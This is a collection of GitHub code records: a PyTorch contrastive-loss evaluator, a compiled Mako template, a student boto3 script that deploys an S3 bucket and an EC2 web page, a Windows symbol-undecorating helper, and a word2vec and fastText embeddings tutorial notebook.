'\\t'.join(map(lambda col:str(fileOne[col].nunique()), fileOne.columns)) + '\\n')\n outFile.write(args.file2 + '\\t' + '\\t'.join(map(lambda col:str(fileTwo[col].nunique()), fileOne.columns)) + '\\n')\n outFile.write('\\t' + '\\t'.join(map(lambda col:str(fileOne[col].nunique() - fileTwo[col].nunique()), fileOne.columns)) + '\\n')\n","repo_name":"gbif/occurrence","sub_path":"occurrence-download/src/test/scripts/compare_files.py","file_name":"compare_files.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"77"} +{"seq_id":"22873513249","text":"import torch\n\nfrom lib.utils.misc import sample_descriptor\nfrom lib.utils.hard_mining.hard_example_mining_layer import hard_negative_mining\nfrom lib.utils.vis_logger import logger\n\n\nclass ConstrastiveEvaluator(object):\n def __call__(self, descs0, kps0, imgs0, descs1, kps1, imgs1, thresh=4, interval=4):\n \"\"\"\n Compute constrastive loss with hard negative mining\n \n :param descs0 descs1: (B, D, H', W'), downsampled\n :param kps0, kps1: (B, N, 2), original image scale\n :param imgs0, imgs1: (B, 3, H, W)\n :param thresh: mining threshold. NOTE, this is measure at descritpor map scale\n :param interval: mining interval. NOTE, this is measure at descritpor map scale\n :return:\n loss: total loss\n distance: distance between true correspondences\n similarity: similarity between false correspondences\n \"\"\"\n descs0 = sample_descriptor(descs0, kps0, imgs0) # [B, N, D]\n # descs2 = sample_descriptor(descr_maps1, kps2)\n descs2, kps2 = hard_negative_mining(descs0, descs1, kps1, imgs1, thresh, interval) # [B, N, D]\n logger.update(kps2=kps2[0])\n descs1 = sample_descriptor(descs1, kps1, imgs1) # [B, N, D]\n\n pos_dist = torch.norm(descs0 - descs1, 2, dim=2)\n neg_dist = torch.norm(descs0 - descs2, 2, dim=2)\n\n distance = torch.sum(pos_dist) / pos_dist.numel()\n # print(distance)\n\n similarity = 0.5 - neg_dist\n weight = similarity > 0\n similarity = torch.sum(similarity[weight]) / torch.clamp(torch.sum(weight).float(), min=1.)\n\n loss = distance + similarity\n\n return loss, distance, similarity\n","repo_name":"zhixuan-lin/descriptor-space","sub_path":"lib/modeling/evaluator/constrastive.py","file_name":"constrastive.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"37903355583","text":"# -*- coding:utf-8 -*-\nfrom mako import runtime, filters, cache\nUNDEFINED = runtime.UNDEFINED\nSTOP_RENDERING = runtime.STOP_RENDERING\n__M_dict_builtin = dict\n__M_locals_builtin = locals\n_magic_number = 10\n_modified_time = 1601519179.6240678\n_enable_loop = True\n_template_filename = 'C:/Users/Trent/Documents/1. MISM (Semester 1)/LING 581/RestaurantReviews/restaurant/homepage/templates/base.htm'\n_template_uri = 'base.htm'\n_source_encoding = 'utf-8'\nimport django_mako_plus\nimport django.utils.html\n_exports = ['content']\n\n\ndef render_body(context,**pageargs):\n __M_caller = context.caller_stack._push_frame()\n try:\n __M_locals = __M_dict_builtin(pageargs=pageargs)\n self = context.get('self', UNDEFINED)\n def content():\n return render_content(context._locals(__M_locals))\n __M_writer = context.writer()\n __M_writer('\\r\\n\\r\\n \\r\\n \\r\\n\\r\\n Restaurant Reviews\\r\\n\\r\\n \\r\\n\\r\\n \\r\\n ')\n __M_writer(django_mako_plus.ExpressionPostProcessor(self)( django_mako_plus.links(self) ))\n __M_writer('\\r\\n\\r\\n \\r\\n \\r\\n\\r\\n
\\r\\n
Restaurant Reviews
\\r\\n
\\r\\n\\r\\n
\\r\\n ')\n if 'parent' not in context._data or not hasattr(context._data['parent'], 'content'):\n context['self'].content(**pageargs)\n \n\n __M_writer('\\r\\n
\\r\\n\\r\\n \\r\\n\\r\\n \\r\\n\\r\\n')\n return ''\n finally:\n context.caller_stack._pop_frame()\n\n\ndef render_content(context,**pageargs):\n __M_caller = context.caller_stack._push_frame()\n try:\n def content():\n return render_content(context)\n __M_writer = context.writer()\n __M_writer('\\r\\n Site content goes here in sub-templates.\\r\\n ')\n return ''\n finally:\n context.caller_stack._pop_frame()\n\n\n\"\"\"\n__M_BEGIN_METADATA\n{\"filename\": \"C:/Users/Trent/Documents/1. MISM (Semester 1)/LING 581/RestaurantReviews/restaurant/homepage/templates/base.htm\", \"uri\": \"base.htm\", \"source_encoding\": \"utf-8\", \"line_map\": {\"18\": 0, \"26\": 2, \"27\": 12, \"28\": 12, \"33\": 24, \"39\": 22, \"45\": 22, \"51\": 45}}\n__M_END_METADATA\n\"\"\"\n","repo_name":"mcmtrnt/RestaurantReviews","sub_path":"homepage/templates/__dmpcache__/base.htm.py","file_name":"base.htm.py","file_ext":"py","file_size_in_byte":2717,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"} +{"seq_id":"70120042168","text":"#!/usr/bin/env python3\n\nimport boto3\nimport sys\nimport time\nimport subprocess\nimport datetime\n\n\n#Varaibles\nstring1 = 'Name'\nstring2 = 'My web Server' \nfileTxt = open('textFile.txt', 'w+')\nreadFileTxt = open('textFile.txt', 'r')\nuserText = \"\"\"#!/bin/bash\n yum update -y\n yum install httpd -y\n systemctl enable httpd\n systemctl start httpd\"\"\"\nec2 = boto3.resource('ec2')\ns3 = boto3.resource(\"s3\")\nobject_name = 'image.jpg'\nkey = 'witacsresources'\n\n#Menu layout\ndef print_menu():\n\n print('+-----------------------------------------------------------+')\n print('| |')\n print('| AWS |')\n print('| |')\n print('+-----------------------------------------------------------+')\n print('| -1- | Run Program |')\n print('+-----------------------------------------------------------+')\n print('| -2- | List Instance |')\n print('| -3- | Terminate Instance |')\n print('+-----------------------------------------------------------+')\n print('| -4- | List Buckets |')\n print('| -5- | Terminate Bucket |')\n print('+-----------------------------------------------------------+')\n print('| -6- | View Log File |')\n print('| -7- | Cloud Watch Monitoring |')\n print('+-----------------------------------------------------------+')\n print('| -8- | Exit |')\n print('+-----------------------------------------------------------+') \n print(\"=====>> \"); \n\n#runs menu for user to selection option\ndef run_menu():\n\n #prints user menu\n print_menu()\n\n\n option_loop=True \n\n while option_loop: \n\n option = input('Enter your choice [1-8]: ')\n option = int(option)\n\n if option == 1:\n run_script()\n\n elif option == 2:\n list_instances()\n\n elif option == 3:\n terminate_instance()\n\n elif option == 4:\n list_buckets()\n\n elif option == 5:\n delete_bucket()\n\n elif option == 6:\n view_log_file()\n\n elif option == 7:\n cloud_watch_data()\n\n elif option == 8:\n exit()\n\n else:\n print(\"Incorrect option, Enter any key to try again..\")\n \n#runs assignment script\ndef run_script():\n\n bucket_name = input( 'Please enter a bucket name: ')\n\n #download image from bucket\n s3.Bucket(key).download_file(object_name,'image.jpg')\n \n #create bucket\n try:\n print('.............Creating Bucket..............')\n bucket = s3.create_bucket(Bucket = bucket_name, ACL ='public-read', CreateBucketConfiguration = {'LocationConstraint': 'eu-west-1'})\n print ('Bucket Name : ' + bucket_name)\n fileTxt.write('\\n Bucket created, Name : ' + bucket_name)\n except Exception as error:\n print (error)\n\n\n #put image into bucket\n try:\n print('.............Putting Image Into Bucket..............')\n response = s3.Object(bucket_name, object_name).put(Body = open(object_name, 'rb'))\n object = s3.Bucket(bucket_name).Object(object_name)\n object.Acl().put(ACL='public-read')\n print ('Bucket Image uploaded')\n except Exception as error:\n fileTxt.write('\\n Error when creating bucket')\n print (error)\n\n #sg-06ed518f0b82030e0\n #Creating Instance\n print('...........Creating Instance........')\n security_group = input('Please enter your security group id : ')\n #ec2 = boto3.resource('ec2')\n instance = ec2.create_instances(\n ImageId='ami-099a8245f5daa82bf', # specifies the AMI ID of the instance we want to create\n MinCount=1, # min number of instances to launch\n MaxCount=1, # max number of instaces to launch\n KeyName='mbarcoeweb_keypair', # created in aws portal, key pair for access to the instance\n UserData= userText,\n InstanceType='t2.micro', # specifies what type/size of hardware needed\n SecurityGroupIds=[security_group],\n TagSpecifications=[\n {\n 'ResourceType': 'instance',\n 'Tags': [\n {\n 'Key': string1,\n 'Value': string2\n },\n ]\n },\n ]\n )\n\n\n #id Of instance\n instance_id = instance[0].id\n\n print('----------------Instance Created----------------')\n fileTxt.write('Instance Created')\n\n\n print ('Instance Id : ' + instance_id)\n fileTxt.write('\\n Instance Id : ' + instance_id)\n\n time.sleep(30)\n\n print('----------------Fetching Ip------------------')\n instance[0].wait_until_running()\n instance[0].load()\n\n instance_ip = instance[0].public_ip_address\n print('Instance Ip: ' + instance_ip)\n fileTxt.write('\\n Instance Public Ip : ' + instance_ip)\n\n print('Loading Instance.........')\n time.sleep(20)\n\n #instance_ip = '54.171.235.200'\n\n ssh_cmd = 'ssh -o StrictHostKeyChecking=no -i mbarcoeweb_keypair.pem ec2-user@' + instance_ip\n\n print('----------------Creating Html file----------------')\n fileTxt.write('\\n Creating Html file ')\n\n #creates html tag and file\n x1 = 'echo \"\" > index.html'\n subprocess.run(x1, shell = True)\n print('Created text file and added html tag')\n fileTxt.write('\\n Created text file and added html tag')\n\n #Writes a header text page to html file\n x2 = 'echo \"

Test page

\" >> index.html'\n subprocess.run(x2, shell = True)\n print('Added header to html file')\n fileTxt.write('\\n Added header to html file')\n\n time.sleep(10)\n\n #Prints Instance Ip to html file\n x3 = 'echo \"
Instance ID: \" >> index.html'\n subprocess.run(x3, shell = True)\n cmd1 = ssh_cmd + \" curl --silent http://169.254.169.254/latest/meta-data/instance-id/ >> index.html\"\n subprocess.run(cmd1, shell = True)\n print('Instance id loaded to html page')\n fileTxt.write('\\n Instance id loaded to html page')\n\n\n #Prints availability zone to html file\n x4 = 'echo \"
Availability zone: \" >> index.html'\n subprocess.run(x4, shell= True)\n cmd2 = ssh_cmd + \" curl --silent http://169.254.169.254/latest/meta-data/placement/availability-zone/ >> index.html\"\n subprocess.run(cmd2, shell= True)\n print('Availability-zone loaded to html page')\n fileTxt.write('\\n Availability-zone loaded to html page')\n\n\n #Prints ip address to html file\n x5 = 'echo \"
IP address : \" >> index.html'\n subprocess.run(x5, shell= True)\n cmd3 = ssh_cmd + \" curl --silent http://169.254.169.254/latest/meta-data/public-ipv4 >> index.html\"\n subprocess.run(cmd3, shell =True)\n print('Ip address loaded to html page')\n fileTxt.write('\\n Ip address loaded to html page')\n\n #Prints ip address to html file\n x55 = 'echo \"
DNS : \" >> index.html'\n subprocess.run(x55, shell= True)\n cmd3 = ssh_cmd + \" curl --silent http://169.254.169.254/latest/meta-data/public-hostname >> index.html\"\n subprocess.run(cmd3, shell =True)\n print('DNS loaded to html page')\n fileTxt.write('\\n DNS loaded to html page')\n\n #Prints Instance Type to html file\n x555 = 'echo \"
Type : \" >> index.html'\n subprocess.run(x555, shell= True)\n cmd333 = ssh_cmd + \" curl --silent http://169.254.169.254/latest/meta-data/instance-type >> index.html\"\n subprocess.run(cmd333, shell =True)\n print('Instance Type loaded to html page')\n fileTxt.write('Instance Type loaded to html page')\n\n #Print image to \n x6 = 'echo \"
Here is the image:
\" >> index.html'\n subprocess.run(x6, shell= True)\n cmd4 = 'echo \"\" >> index.html'\n subprocess.run(cmd4, shell= True)\n print('Image Loaded')\n fileTxt.write('\\n Image Loaded')\n\n print('Pushing Index File to Instance')\n fileTxt.write('\\n Pushing Index File to Instance')\n time.sleep(10)\n\n #Copies local file index.html and push it to instance\n cmd5 = \"scp -i mbarcoeweb_keypair.pem index.html ec2-user@\" + instance_ip + \"':.'\"\n subprocess.run(cmd5, shell = True)\n print('Index.html pushed to instance')\n fileTxt.write('\\n Index.html pushed to instance')\n\n time.sleep(40)\n\n # copies Index file and put it in /var/www/html/ directory\n cmd6 = ssh_cmd + \" ' sudo cp index.html /var/www/html/index.html'\"\n subprocess.run(cmd6, shell = True)\n print('File moved')\n fileTxt.write('\\n File moved')\n fileTxt.close()\n print('Completed')\n\n#Lists all instnaces and there states\ndef list_instances():\n\n print('------------Current Instances------------')\n for instance in ec2.instances.all():\n print ('Instance Id: ' + instance.id ,instance.state)\n\n#terminates instance that is requested\ndef terminate_instance():\n\n term_inst = input('Are you sure you want to terminate instance? [y/n] ')\n\n if term_inst == 'y' :\n instance_id = input('Enter Instance id: ')\n instance = ec2.Instance(instance_id)\n response = instance.terminate()\n print ('Instance:' + instance_id + ' is terminated' )\n elif term_inst =='n':\n print('Termination Cancelled')\n run_menu()\n else: \n print('error')\n terminate_instance()\n\n#list all buckets\ndef list_buckets():\n\n for bucket in s3.buckets.all():\n print (bucket.name)\n\n#terminates bucket if empty\ndef delete_bucket():\n\n t_bucket = input('Please Enter Bucket name: ')\n bucket = s3.Bucket(t_bucket)\n \n try:\n response = bucket.delete()\n print (response)\n except Exception as error:\n print (error)\n\n#prints log file\ndef view_log_file():\n print(fileTxt.read())\n\ndef cloud_watch_data():\n\n cloudwatch = boto3.resource('cloudwatch')\n \n instid = input(\"Please enter instance ID: \") # Prompt the user to enter an Instance ID\n time.sleep(1000)\n instance = ec2.Instance(instid)\n #instance = ec2.Instance(instance_id)\n instance.monitor() # Enables detailed monitoring on instance (1-minute intervals)\n\n metric_iterator = cloudwatch.metrics.filter(Namespace='AWS/EC2',\n MetricName='CPUUtilization',\n Dimensions=[{'Name':'InstanceId', 'Value': instance_id}])\n\n metric = list(metric_iterator)[0] # extract first (only) element\n\n response = metric.get_statistics(StartTime = datetime.utcnow() - timedelta(minutes=5), # 5 minutes ago\n EndTime=datetime.utcnow(), # now\n Period=300, # 5 min intervals\n Statistics=['Average'])\n\n print (\"Average CPU utilisation:\", response['Datapoints'][0]['Average'], response['Datapoints'][0]['Unit'])\n # print (response) # for debugging only\n\n time.sleep()\n\nrun_menu()","repo_name":"Barcoe98/run_webserver","sub_path":"run_newwebserver.py","file_name":"run_newwebserver.py","file_ext":"py","file_size_in_byte":11327,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"16528489079","text":"import ctypes.wintypes\n\n\nundname = ctypes.windll.dbghelp.UnDecorateSymbolName\nundname.argtypes = [ctypes.c_char_p, ctypes.c_char_p, ctypes.c_uint, ctypes.c_uint]\n\n# If this does not work, it returns the input string.\ndef UndecorateSymbol(strSym):\n\tsizBuf = 200\n\twhile True:\n\t\tptrBuf = ctypes.create_string_buffer(\"\", sizBuf)\n\t\tsizActual = undname(strSym,ptrBuf,sizBuf,0)\n\t\tif sizActual < sizBuf - 2:\n\t\t\tstrRaw = ptrBuf.value\n\t\t\tbreak\n\t\tsizBuf *= 2\n\n\t# Now, some cleanup of useless strings. This tries to keep only the semantic information.\n\tfor subStr in [ \"__thiscall \", \"__cdecl\", \"class \",\"struct \",\" __ptr64\"]:\n\t\tstrRaw = strRaw.replace(subStr,\"\")\n\n\tfor subStr in [ \"private: \", \"public: \", \"protected: \"]:\n\t\tif strRaw.startswith(subStr):\n\t\t\tstrRaw = strRaw[ len(subStr): ]\n\t\t\tbreak\n\n\treturn strRaw\n\n","repo_name":"vchateauneu/survol","sub_path":"survol/lib_pefile.py","file_name":"lib_pefile.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"77"} +{"seq_id":"35406957501","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Word Embeddings\n\n# - The state-of-art method of vectorizing texts is to learn the numeric representations of words using deep learning methods.\n# - These deep-learning based numeric representations of linguistic units are commonly referred to as **embeddings**.\n# - Word embeddings can be learned either along with the target NLP task (e.g., the `Embedding` layer in RNN Language Model) or via an **unsupervised** method based on a large number of texts.\n# - In this tutorial, we will look at two main algorithms in `word2vec` that allow us to learn the word embeddings in an **unsupervised** manner from a large collection of texts.\n\n# - Strengths of word embeddings\n# - They can be learned using **unsupervised** methods.\n# - They include quite a proportion of the lexical **semantics**.\n# - They can be learned by **batch**. We don't have to process the entire corpus and create the word-by-document matrix for vectorization. \n# - Therefore, it is less likely to run into the **memory** capacity issue for huge corpora.\n\n# ## Overview\n\n# ### What is `word2vec`?\n# \n# - `Word2vec` is one of the most popular techniques to learn word embeddings using a two-layer neural network.\n# - The input is a **text corpus** and the output is a set of **word vectors**.\n# - Research has shown that these embeddings include rich semantic information of words, which allow us to perform interesting **semantic computation** (See Mikolov et al's works in References).\n\n# ### Basis of Word Embeddings: Distributional Semantics\n# \n# - \"*You shall know a word by the company it keeps*\" (Firth, 1975).\n# - Word distributions show a considerable amount of **lexical semantics**.\n# - Construction/Pattern distributions show a considerable amount of the **constructional semantics**.\n# - Semantics of linguistic units are implicitly or explicitly embedded in their distributions (i.e., *occurrences* and *co-occurrences*) in language use (**Distributional Semantics**).\n\n# ### Main training algorithms of `word2vec`\n# \n# - Continuous Bag-of-Words (**CBOW**): The general language modeling task for embeddings training is to learn a model that is capable of using the ***context*** words to predict a ***target*** word.\n# - **Skip-Gram**: The general language modeling task for embeddings training is to learn a model that is capable of using a ***target word*** to predict its ***context*** words.\n\n# ![](../images/word2vec.png)\n\n# - Other variants of embeddings training:\n# - `fasttext` from Facebook\n# - `GloVe` from Stanford NLP Group\n# - There are many ways to train work embeddings.\n# - `gensim`: Simplest and straightforward implementation of `word2vec`.\n# - Training based on deep learning packages (e.g., `keras`, `tensorflow`)\n# - `spacy` (It comes with the pre-trained embeddings models, using GloVe.)\n# - See Sarkar (2019), Chapter 4, for more comprehensive reviews.\n\n# ### An Intuitive Understanding of CBOW\n\n# ![](../images/word2vec-text-to-sequences.gif)\n\n# ![](../images/word2vec-cbow.gif)\n\n# ### An Intuitive Understanding of Skip-gram\n\n# ![](../images/word2vec-skipgram.gif)\n\n# ## Import necessary dependencies and settings\n\n# In[1]:\n\n\nimport pandas as pd\nimport numpy as np\nimport re\nimport nltk\nimport matplotlib.pyplot as plt\nimport matplotlib\nmatplotlib.rcParams['figure.dpi'] = 300\npd.options.display.max_colwidth = 200\n\n\n# In[2]:\n\n\n# # Google Colab Adhoc Setting\n# !nvidia-smi\n# nltk.download(['gutenberg','punkt','stopwords'])\n# !pip show spacy\n# !pip install --upgrade spacy\n# #!python -m spacy download en_core_web_trf\n# !python -m spacy download en_core_web_lg\n\n\n# ## Sample Corpus: A Naive Example\n\n# In[3]:\n\n\ncorpus = [\n 'The sky is blue and beautiful.', 'Love this blue and beautiful sky!',\n 'The quick brown fox jumps over the lazy dog.',\n \"A king's breakfast has sausages, ham, bacon, eggs, toast and beans\",\n 'I love green eggs, ham, sausages and bacon!',\n 'The brown fox is quick and the blue dog is lazy!',\n 'The sky is very blue and the sky is very beautiful today',\n 'The dog is lazy but the brown fox is quick!'\n]\nlabels = [\n 'weather', 'weather', 'animals', 'food', 'food', 'animals', 'weather',\n 'animals'\n]\n\ncorpus = np.array(corpus)\ncorpus_df = pd.DataFrame({'Document': corpus, 'Category': labels})\ncorpus_df = corpus_df[['Document', 'Category']]\ncorpus_df\n\n\n# ### Simple text pre-processing\n# \n# - Usually for unsupervised `word2vec` learning, we don't really need much text preprocessing.\n# - So we keep our preprocessing to the minimum.\n# - Remove only symbols/punctuations, as well as redundant whitespaces.\n# - Perform word tokenization, which would also determine the base units for embeddings learning.\n# \n\n# ### Suggestions\n# \n# - If you are using `keras` to build the network for embeddings training, please prepare your input corpus data for `Tokenizer()`in the format where each **token** is delimited by a **whitespace**.\n# - If you are using `gensim` to train word embeddings, please tokenize your corpus data first. That is, the `gensim` only requires a tokenized version of the corpus and it will learn the word embeddings for you. \n\n# In[4]:\n\n\nwpt = nltk.WordPunctTokenizer()\n# stop_words = nltk.corpus.stopwords.words('english')\ndef preprocess_document(doc):\n # lower case and remove special characters\\whitespaces\n doc = re.sub(r'[^a-zA-Z\\s]', '', doc, re.I | re.A)\n doc = doc.lower()\n doc = doc.strip()\n # tokenize document\n tokens = wpt.tokenize(doc)\n doc = ' '.join(tokens)\n return doc\n\ncorpus_norm = [preprocess_document(text) for text in corpus]\ncorpus_tokens = [preprocess_document(text).split(' ') for text in corpus]\n\n\n# In[5]:\n\n\nprint(corpus_norm)\nprint(corpus_tokens)\n\n\n# ### Training Embeddings Using word2vec\n# \n# - The expected inputs of `gensim.model.word2vec` is token-based corpus object.\n\n# In[6]:\n\n\nget_ipython().run_cell_magic('time', '', '\\nfrom gensim.models import word2vec\\n\\n# Set values for various parameters\\nfeature_size = 10 \\nwindow_context = 5 \\nmin_word_count = 1 \\n\\nw2v_model = word2vec.Word2Vec(\\n corpus_tokens,\\n size=feature_size, # Word embeddings dimensionality\\n window=window_context, # Context window size\\n min_count=min_word_count, # Minimum word count\\n sg=1, # `1` for skip-gram; otherwise CBOW.\\n seed = 123, # random seed\\n workers=1, # number of cores to use\\n negative = 5, # how many negative samples should be drawn\\n cbow_mean = 1, # whether to use the average of context word embeddings or sum(concat)\\n iter=10000, # number of epochs for the entire corpus\\n batch_words=10000, # batch size\\n)\\n')\n\n\n# ### Visualizing Word Embeddings\n# \n# - Embeddings represent words in multidimensional space.\n# - We can inspect the quality of embeddings using dimensional reduction and visualize words in a 2D plot.\n\n# In[7]:\n\n\nfrom sklearn.manifold import TSNE\n\nwords = w2v_model.wv.index2word ## get the word forms of voculary\nwvs = w2v_model.wv[words] ## get embeddings of all word forms\n\ntsne = TSNE(n_components=2, random_state=0, n_iter=5000, perplexity=5)\nnp.set_printoptions(suppress=True)\nT = tsne.fit_transform(wvs)\nlabels = words\n\nplt.figure(figsize=(12, 6))\nplt.scatter(T[:, 0], T[:, 1], c='orange', edgecolors='r')\nfor label, x, y in zip(labels, T[:, 0], T[:, 1]):\n plt.annotate(label,\n xy=(x + 1, y + 1),\n xytext=(0, 0),\n textcoords='offset points')\n\n\n# - All trained word embeddings are included in `w2v_model.wv`.\n# - We can extract all word forms in the vocabulary from `w2v_model.wv.index2word`.\n# - We can easily extract embeddings for any specific words from `w2v_model.wv`.\n\n# In[8]:\n\n\nw2v_model.wv.index2word[:5]\n\n\n# In[9]:\n\n\n[w2v_model.wv[w] for w in w2v_model.wv.index2word[:5]]\n\n\n# ### From Word Embeddings to Document Embeddings\n# \n# - With word embeddings, we can compute the **average embeddings** for the entire document, i.e., the ***document embeddings***.\n# - These document embeddings are also assumed to have included considerable semantic information of the document.\n# - We can for example use them for document classification/clustering.\n\n# In[10]:\n\n\ndef average_word_vectors(words, model, vocabulary, num_features):\n\n feature_vector = np.zeros((num_features, ), dtype=\"float64\")\n nwords = 0.\n\n for word in words:\n if word in vocabulary:\n nwords = nwords + 1.\n feature_vector = np.add(feature_vector, model[word])\n\n if nwords:\n feature_vector = np.divide(feature_vector, nwords)\n\n return feature_vector\n\n\ndef averaged_word_vectorizer(corpus, model, num_features):\n vocabulary = set(model.wv.index2word)\n features = [\n average_word_vectors(tokenized_sentence, model, vocabulary,\n num_features) for tokenized_sentence in corpus\n ]\n return np.array(features)\n\n\n# In[11]:\n\n\nw2v_feature_array = averaged_word_vectorizer(corpus=corpus_tokens,\n model=w2v_model,\n num_features=feature_size)\npd.DataFrame(w2v_feature_array, index=corpus_norm)\n\n\n# - Let's cluster these documents based on their **document embeddings**.\n\n# In[12]:\n\n\nfrom sklearn.metrics.pairwise import cosine_similarity\nimport pandas as pd\n\nsimilarity_doc_matrix = cosine_similarity(w2v_feature_array)\nsimilarity_doc_df = pd.DataFrame(similarity_doc_matrix)\nsimilarity_doc_df\n\n\n# In[13]:\n\n\nfrom scipy.cluster.hierarchy import dendrogram, linkage\n\nZ = linkage(similarity_doc_matrix, 'ward')\nplt.title('Hierarchical Clustering Dendrogram')\nplt.xlabel('Data point')\nplt.ylabel('Distance')\ndendrogram(Z,\n labels=corpus_norm,\n leaf_rotation=0,\n leaf_font_size=8,\n orientation='right',\n color_threshold=0.5)\nplt.axvline(x=0.5, c='k', ls='--', lw=0.5)\n\n\n# In[14]:\n\n\n## Other Clustering Methods\n\nfrom sklearn.cluster import AffinityPropagation\n\nap = AffinityPropagation()\nap.fit(w2v_feature_array)\ncluster_labels = ap.labels_\ncluster_labels = pd.DataFrame(cluster_labels, columns=['ClusterLabel'])\npd.concat([corpus_df, cluster_labels], axis=1)\n\n## PCA Plotting\nfrom sklearn.decomposition import PCA\n\npca = PCA(n_components=2, random_state=0)\npcs = pca.fit_transform(w2v_feature_array)\nlabels = ap.labels_\ncategories = list(corpus_df['Category'])\nplt.figure(figsize=(8, 6))\n\nfor i in range(len(labels)):\n label = labels[i]\n color = 'orange' if label == 0 else 'blue' if label == 1 else 'green'\n annotation_label = categories[i]\n x, y = pcs[i]\n plt.scatter(x, y, c=color, edgecolors='k')\n plt.annotate(annotation_label,\n xy=(x + 1e-4, y + 1e-3),\n xytext=(0, 0),\n textcoords='offset points')\n\n\n# ## Using Pre-trained Embeddings: GloVe in `spacy`\n\n# In[15]:\n\n\nimport spacy\n\n\nnlp = spacy.load('en_core_web_lg',disable=['parse','entity'])\n\ntotal_vectors = len(nlp.vocab.vectors)\nprint('Total word vectors:', total_vectors)\n\n\n# In[16]:\n\n\nprint(spacy.__version__)\n\n\n# ### Visualize GloVe word embeddings\n# \n# - Let's extract the GloVe pretrained embeddings for all the words in our simple corpus.\n# - And we visualize their embeddings in a 2D plot via dimensional reduction.\n\n# :::{warning}\n# When using pre-trained embeddings, there are two important things:\n# - Be very careful of the **tokenization** methods used in your text preprocessing. If you use a very different word tokenization method, you may find a lot of **unknown** words that are not included in the pretrained model.\n# - Always check the **proportion of the unknown words** when vectorizing your corpus texts with pre-trained embeddings.\n# :::\n\n# In[17]:\n\n\n# get vocab of the corpus\nunique_words = set(sum(corpus_tokens,[]))\n\n# extract pre-trained embeddings of all words\nword_glove_vectors = np.array([nlp(word).vector for word in unique_words])\npd.DataFrame(word_glove_vectors, index=unique_words)\n\n\n# In[18]:\n\n\nfrom sklearn.manifold import TSNE\n\ntsne = TSNE(n_components=2, random_state=0, n_iter=5000, perplexity=5)\nnp.set_printoptions(suppress=True)\nT = tsne.fit_transform(word_glove_vectors)\nlabels = unique_words\n\nplt.figure(figsize=(12, 6))\nplt.scatter(T[:, 0], T[:, 1], c='orange', edgecolors='r')\nfor label, x, y in zip(labels, T[:, 0], T[:, 1]):\n plt.annotate(label,\n xy=(x + 1, y + 1),\n xytext=(0, 0),\n textcoords='offset points')\n \n\n\n# - It is clear to see that when embeddings are trained based on a larger corpus, they reflect more lexical semantic contents.\n# - Semantically similar words are indeed closer to each other in the 2D plot.\n\n# - We can of course perform the document-level clustering again using the GloVe embeddings.\n# - The good thing about `spacy` is that it can compute the document average embeddings automatically.\n\n# In[19]:\n\n\ndoc_glove_vectors = np.array([nlp(str(doc)).vector for doc in corpus_norm])\n\nimport sklearn\nfrom sklearn.cluster import KMeans\nkm = KMeans(n_clusters=3, random_state=0)\nkm.fit_transform(doc_glove_vectors)\ncluster_labels = km.labels_\ncluster_labels = pd.DataFrame(cluster_labels, columns=['ClusterLabel'])\npd.concat([corpus_df, cluster_labels], axis=1)\n\n\n# ## `fasttext`\n# \n# - This section shows a quick example how to train word embeddings based on the `nltk.corpus.brown` using another algorithm, i.e., `fasttext`.\n# - The FastText model was introduced by Facebook in 2016 as an improved and extended version of the `word2vec` (See Bojanowski et al [2017] in References below).\n# - We will focus more on the implementation. Please see the Bojanowski et al (2017) as well as Sarkar (2019) Chapter 4 for more comprehensive descriptions of the method.\n# - Pretrained FastText Embeddings are available [here](https://fasttext.cc/docs/en/english-vectors.html).\n\n# In[20]:\n\n\nfrom gensim.models.fasttext import FastText\nfrom nltk.corpus import brown\n\nbrown_tokens = [brown.words(fileids=f) for f in brown.fileids()]\n\n\n# In[21]:\n\n\nget_ipython().run_cell_magic('time', '', '# Set values for various parameters\\nfeature_size = 100 # Word vector dimensionality\\nwindow_context = 5 # Context window size\\nmin_word_count = 5 # Minimum word count\\n\\nft_model = FastText(brown_tokens,\\n size=feature_size,\\n window=window_context,\\n min_count=min_word_count,\\n sg=1,\\n iter=50)\\n')\n\n\n# - We can use the trained embeddings model to identify words that are similar to a set of seed words.\n# - And then we plot all these words (i.e., the seed words and their semantic neighbors) in one 2D plot based on the dimensional reduction of their embeddings.\n\n# In[22]:\n\n\n# view similar words based on gensim's model\nsimilar_words = {\n search_term:\n [item[0] for item in ft_model.wv.most_similar([search_term], topn=5)]\n for search_term in\n ['think', 'say','news', 'report','nation', 'democracy']\n}\nsimilar_words\n\n\n# In[23]:\n\n\nfrom sklearn.decomposition import PCA\n\nwords = sum([[k] + v for k, v in similar_words.items()], [])\nwvs = ft_model.wv[words]\n\npca = PCA(n_components=2)\nnp.set_printoptions(suppress=True)\nP = pca.fit_transform(wvs)\nlabels = words\n\nplt.figure(figsize=(12, 10))\nplt.scatter(P[:, 0], P[:, 1], c='lightgreen', edgecolors='g')\nfor label, x, y in zip(labels, P[:, 0], P[:, 1]):\n plt.annotate(label,\n xy=(x + 0.03, y + 0.03),\n xytext=(0, 0),\n textcoords='offset points')\n\n\n# In[24]:\n\n\nft_model.wv['democracy']\n\n\n# In[25]:\n\n\nprint(ft_model.wv.similarity(w1='taiwan', w2='freedom'))\nprint(ft_model.wv.similarity(w1='china', w2='freedom'))\n\n\n# ## Wrap-up\n# \n# - Two fundamental deep-learning-based models of word representation learning: CBOW and Skip-Gram.\n# - From word embeddings to document embeddings\n# - More advanced representation learning models: GloVe and FastText.\n# - What is more challenging is how to assess the quality of the learned representations (embeddings). Usually embedding models can be evaluated based on their performance on semantics related tasks, such as word similarity and analogy. For those who are interested, you can start with the following two papers on Chinese embeddings:\n# - Chi-Yen Chen, Wei-Yun Ma. 2018. \"[Word Embedding Evaluation Datasets and Wikipedia Title Embedding for Chinese](http://www.lrec-conf.org/proceedings/lrec2018/pdf/159.pdf),\" Language Resources and Evaluation Conference. \n# - Chi-Yen Chen, Wei-Yun Ma. 2017. \"[Embedding Wikipedia Title Based on Its Wikipedia Text and Categories](https://ieeexplore.ieee.org/document/8300566),\" International Conference on Asian Language Processing.\n# \n\n# ## References\n# \n# - Sarkar (2020) Ch 